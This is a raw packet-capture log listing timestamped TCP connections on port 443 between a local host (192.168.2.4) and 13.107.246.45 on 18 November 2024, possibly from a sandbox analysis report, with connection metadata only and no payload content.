Nov 18, 2024 17:24:12.493295908 CET	443	49889	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:12.493665934 CET	49889	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:12.493675947 CET	443	49889	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:12.493748903 CET	49890	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:12.493755102 CET	443	49890	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:12.494066954 CET	49889	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:12.494072914 CET	443	49889	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:12.495137930 CET	49893	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:12.495172024 CET	443	49893	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:12.495239019 CET	49893	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:12.495369911 CET	49893	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:12.495378971 CET	443	49893	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:12.619745970 CET	443	49890	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:12.619945049 CET	443	49890	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:12.620023966 CET	49890	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:12.622061014 CET	49890	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:12.622093916 CET	443	49890	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:12.622119904 CET	49890	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:12.622136116 CET	443	49890	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:12.624795914 CET	49894	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:12.624861002 CET	443	49894	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:12.624963045 CET	49894	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:12.625092983 CET	49894	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:12.625111103 CET	443	49894	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:12.630803108 CET	443	49889	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:12.630954981 CET	443	49889	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:12.631021976 CET	49889	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:12.631083012 CET	49889	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:12.631098986 CET	443	49889	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:12.631113052 CET	49889	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:12.631119013 CET	443	49889	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:12.646106005 CET	49895	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:12.646146059 CET	443	49895	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:12.646219969 CET	49895	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:12.659638882 CET	49895	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:12.659657955 CET	443	49895	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:13.227545023 CET	443	49891	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:13.235414028 CET	443	49893	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:13.245052099 CET	443	49892	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:13.249178886 CET	49891	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:13.249208927 CET	443	49891	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:13.249463081 CET	49893	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:13.249490976 CET	443	49893	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:13.249933004 CET	49891	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:13.249933958 CET	49893	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:13.249939919 CET	443	49893	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:13.249939919 CET	443	49891	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:13.250269890 CET	49892	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:13.250329018 CET	443	49892	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:13.250926971 CET	49892	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:13.250941992 CET	443	49892	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:13.347799063 CET	443	49894	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:13.348253012 CET	49894	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:13.348293066 CET	443	49894	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:13.348786116 CET	49894	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:13.348802090 CET	443	49894	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:13.375416040 CET	443	49891	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:13.375538111 CET	443	49891	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:13.375586033 CET	49891	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:13.375706911 CET	49891	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:13.375729084 CET	443	49891	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:13.375744104 CET	49891	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:13.375751972 CET	443	49891	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:13.378108978 CET	443	49893	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:13.378201008 CET	443	49893	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:13.378247976 CET	49893	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:13.378401995 CET	49893	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:13.378418922 CET	443	49893	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:13.378428936 CET	49893	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:13.378434896 CET	443	49893	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:13.378446102 CET	443	49892	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:13.378643990 CET	443	49892	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:13.378700972 CET	49892	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:13.379648924 CET	49892	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:13.379688025 CET	443	49892	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:13.379717112 CET	49892	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:13.379733086 CET	443	49892	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:13.381200075 CET	49896	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:13.381232977 CET	443	49896	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:13.381294012 CET	49896	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:13.381875992 CET	49897	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:13.381916046 CET	443	49897	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:13.381973028 CET	49897	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:13.382055998 CET	49896	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:13.382074118 CET	443	49896	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:13.382766962 CET	49897	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:13.382786989 CET	443	49897	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:13.382808924 CET	49898	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:13.382821083 CET	443	49898	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:13.382885933 CET	49898	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:13.383007050 CET	49898	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:13.383022070 CET	443	49898	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:13.388047934 CET	443	49895	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:13.388485909 CET	49895	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:13.388505936 CET	443	49895	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:13.389014006 CET	49895	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:13.389019966 CET	443	49895	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:13.476583004 CET	443	49894	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:13.476691961 CET	443	49894	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:13.476748943 CET	49894	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:13.476910114 CET	49894	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:13.476931095 CET	443	49894	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:13.476972103 CET	49894	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:13.476984024 CET	443	49894	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:13.479752064 CET	49899	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:13.479783058 CET	443	49899	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:13.479844093 CET	49899	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:13.479989052 CET	49899	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:13.479995966 CET	443	49899	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:13.518268108 CET	443	49895	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:13.518433094 CET	443	49895	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:13.518492937 CET	49895	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:13.518529892 CET	49895	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:13.518544912 CET	443	49895	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:13.518554926 CET	49895	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:13.518559933 CET	443	49895	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:13.521078110 CET	49900	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:13.521106005 CET	443	49900	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:13.521169901 CET	49900	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:13.521574020 CET	49900	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:13.521586895 CET	443	49900	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:14.105326891 CET	443	49898	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:14.105910063 CET	49898	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:14.105964899 CET	443	49898	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:14.106367111 CET	49898	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:14.106375933 CET	443	49898	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:14.115017891 CET	443	49896	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:14.115498066 CET	49896	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:14.115520000 CET	443	49896	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:14.116003990 CET	49896	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:14.116010904 CET	443	49896	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:14.123936892 CET	443	49897	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:14.124408007 CET	49897	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:14.124437094 CET	443	49897	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:14.124862909 CET	49897	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:14.124871969 CET	443	49897	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:14.232969046 CET	443	49898	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:14.233081102 CET	443	49898	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:14.233167887 CET	49898	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:14.233372927 CET	49898	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:14.233396053 CET	443	49898	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:14.233408928 CET	49898	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:14.233417034 CET	443	49898	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:14.236300945 CET	49901	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:14.236336946 CET	443	49901	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:14.236541986 CET	49901	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:14.236582994 CET	49901	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:14.236588001 CET	443	49901	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:14.245204926 CET	443	49896	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:14.245287895 CET	443	49896	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:14.245356083 CET	49896	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:14.245480061 CET	49896	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:14.245487928 CET	443	49896	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:14.245522022 CET	49896	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:14.245527029 CET	443	49896	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:14.247529984 CET	49902	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:14.247596025 CET	443	49902	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:14.248060942 CET	443	49899	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:14.248138905 CET	49902	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:14.248294115 CET	49902	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:14.248316050 CET	443	49902	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:14.248430967 CET	49899	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:14.248446941 CET	443	49899	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:14.248833895 CET	49899	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:14.248842955 CET	443	49899	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:14.253290892 CET	443	49897	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:14.253459930 CET	443	49897	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:14.253536940 CET	49897	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:14.253662109 CET	49897	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:14.253674030 CET	443	49897	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:14.253684998 CET	49897	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:14.253689051 CET	443	49897	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:14.255923986 CET	49903	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:14.255940914 CET	443	49903	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:14.256047964 CET	49903	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:14.256141901 CET	49903	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:14.256153107 CET	443	49903	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:14.297650099 CET	443	49900	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:14.300343037 CET	49900	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:14.300378084 CET	443	49900	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:14.300673962 CET	49900	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:14.300683022 CET	443	49900	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:14.411850929 CET	443	49899	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:14.411940098 CET	443	49899	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:14.412050009 CET	49899	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:14.412282944 CET	49899	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:14.412297010 CET	443	49899	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:14.412307978 CET	49899	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:14.412312984 CET	443	49899	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:14.414925098 CET	49904	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:14.414947987 CET	443	49904	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:14.415030003 CET	49904	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:14.415179968 CET	49904	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:14.415186882 CET	443	49904	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:14.427587986 CET	443	49900	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:14.427751064 CET	443	49900	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:14.427844048 CET	49900	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:14.427970886 CET	49900	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:14.427988052 CET	443	49900	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:14.427998066 CET	49900	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:14.428004026 CET	443	49900	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:14.429980040 CET	49905	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:14.430027008 CET	443	49905	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:14.430108070 CET	49905	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:14.430213928 CET	49905	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:14.430226088 CET	443	49905	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:14.979072094 CET	443	49903	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:14.979697943 CET	49903	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:14.979717016 CET	443	49903	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:14.980148077 CET	49903	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:14.980153084 CET	443	49903	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:14.980225086 CET	443	49901	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:14.980499983 CET	49901	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:14.980511904 CET	443	49901	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:14.980827093 CET	49901	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:14.980829954 CET	443	49901	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:14.983087063 CET	443	49902	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:14.983313084 CET	49902	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:14.983335972 CET	443	49902	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:14.983617067 CET	49902	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:14.983623981 CET	443	49902	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:15.106942892 CET	443	49903	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:15.107100964 CET	443	49903	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:15.107161045 CET	49903	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:15.107490063 CET	49903	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:15.107490063 CET	49903	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:15.107507944 CET	443	49903	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:15.107517958 CET	443	49903	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:15.111288071 CET	49906	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:15.111341953 CET	443	49906	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:15.111547947 CET	443	49901	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:15.111622095 CET	49906	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:15.111644983 CET	443	49901	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:15.111751080 CET	49906	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:15.111761093 CET	443	49906	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:15.111793041 CET	49901	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:15.111885071 CET	49901	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:15.111892939 CET	443	49901	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:15.111917973 CET	49901	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:15.111922979 CET	443	49901	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:15.112036943 CET	443	49902	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:15.112210989 CET	443	49902	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:15.112282991 CET	49902	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:15.112911940 CET	49902	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:15.112911940 CET	49902	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:15.112950087 CET	443	49902	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:15.112966061 CET	443	49902	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:15.114628077 CET	49907	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:15.114665031 CET	443	49907	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:15.114727974 CET	49907	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:15.115093946 CET	49907	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:15.115109921 CET	443	49907	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:15.116015911 CET	49908	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:15.116050959 CET	443	49908	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:15.116285086 CET	49908	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:15.116414070 CET	49908	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:15.116426945 CET	443	49908	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:15.175271988 CET	443	49905	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:15.175806999 CET	49905	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:15.175862074 CET	443	49905	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:15.175980091 CET	443	49904	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:15.176265955 CET	49905	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:15.176271915 CET	443	49905	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:15.176697016 CET	49904	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:15.176717043 CET	443	49904	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:15.177052021 CET	49904	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:15.177057028 CET	443	49904	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:15.302591085 CET	443	49905	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:15.303603888 CET	443	49905	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:15.303666115 CET	49905	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:15.303699970 CET	49905	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:15.303719997 CET	443	49905	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:15.303731918 CET	49905	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:15.303740025 CET	443	49905	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:15.306030989 CET	49909	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:15.306065083 CET	443	49909	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:15.306139946 CET	49909	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:15.306268930 CET	49909	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:15.306277037 CET	443	49909	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:15.306869030 CET	443	49904	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:15.306993961 CET	443	49904	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:15.307050943 CET	49904	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:15.307081938 CET	49904	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:15.307081938 CET	49904	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:15.307099104 CET	443	49904	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:15.307109118 CET	443	49904	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:15.308904886 CET	49910	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:15.308938980 CET	443	49910	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:15.309048891 CET	49910	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:15.309171915 CET	49910	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:15.309184074 CET	443	49910	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:15.839113951 CET	443	49906	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:15.839772940 CET	49906	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:15.839790106 CET	443	49906	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:15.840226889 CET	49906	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:15.840233088 CET	443	49906	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:15.845103979 CET	443	49908	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:15.845570087 CET	49908	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:15.845583916 CET	443	49908	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:15.845993042 CET	49908	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:15.846009970 CET	443	49908	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:15.869523048 CET	443	49907	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:15.869843006 CET	49907	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:15.869862080 CET	443	49907	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:15.870243073 CET	49907	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:15.870249033 CET	443	49907	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:15.965672970 CET	443	49906	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:15.965915918 CET	443	49906	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:15.965982914 CET	49906	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:15.966018915 CET	49906	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:15.966032982 CET	443	49906	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:15.966046095 CET	49906	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:15.966051102 CET	443	49906	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:15.968688965 CET	49911	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:15.968732119 CET	443	49911	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:15.968806982 CET	49911	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:15.968972921 CET	49911	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:15.968991995 CET	443	49911	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:15.981591940 CET	443	49908	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:15.982242107 CET	443	49908	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:15.982320070 CET	49908	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:15.982320070 CET	49908	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:15.982386112 CET	49908	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:15.982399940 CET	443	49908	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:15.984184980 CET	49912	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:15.984224081 CET	443	49912	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:15.984289885 CET	49912	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:15.984404087 CET	49912	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:15.984420061 CET	443	49912	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:16.003774881 CET	443	49907	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:16.003835917 CET	443	49907	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:16.003887892 CET	49907	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:16.003990889 CET	49907	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:16.004013062 CET	443	49907	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:16.004029036 CET	49907	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:16.004035950 CET	443	49907	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:16.006072044 CET	49913	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:16.006117105 CET	443	49913	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:16.006222010 CET	49913	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:16.006402016 CET	49913	443	192.168.2.4	13.107.246.45
